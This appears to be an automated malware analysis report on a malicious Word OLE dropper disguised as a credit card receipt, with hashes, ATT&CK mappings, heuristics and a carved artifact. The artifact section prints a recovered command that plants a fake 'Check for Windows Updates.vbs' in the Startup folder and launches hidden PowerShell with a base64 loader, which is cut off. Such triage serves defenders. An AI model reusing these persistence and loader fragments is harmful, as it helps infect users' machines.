Office (OLE) malware analysis — malicious · 91e28cbf8f44ebcc

MALICIOUS

Office (OLE)

30.0 KB Created: 2017-06-16 18:16:00 Authoring application: Microsoft Office Word First seen: 2019-05-16

MD5: 2308c832e6157eac8db036b9c8d788e6 SHA-1: 4becca8cdf7a7ed87e87fe238cf46741a7bfea4a SHA-256: 91e28cbf8f44ebcca6b658604c37ffd7df98d9690bb0170b2c4a1d0dbc790e2d

222 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file is an OLE document containing an embedded Ole10Native object, which is a known method for dropping executable payloads. Heuristics indicate references to PowerShell and Windows Script Host, suggesting the dropped payload is likely a script. The document body attempts to impersonate a credit card receipt to encourage user interaction. The embedded artifact 'ole10native_00.bin' is the primary IOC.

Heuristics 6

OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514

Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE

OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
Reference to PowerShell high SC_STR_POWERSHELL

Reference to PowerShell
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`ole10native_00.bin`	ole-package	OLE Ole10Native stream: ObjectPool/_1586870490/Ole10Native	7314 bytes
SHA-256: `0250df4631225b523022e42ec06a68152f062dba8677a194b491497ed4c9827d`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered command string(s): wscript.shell").expandenvironmentstrings("%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\Check for Windows Updates.vbs"), wscript.shell"")"), cmd = ""powershell -NoP -NonI -W Hidden -E ""cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC

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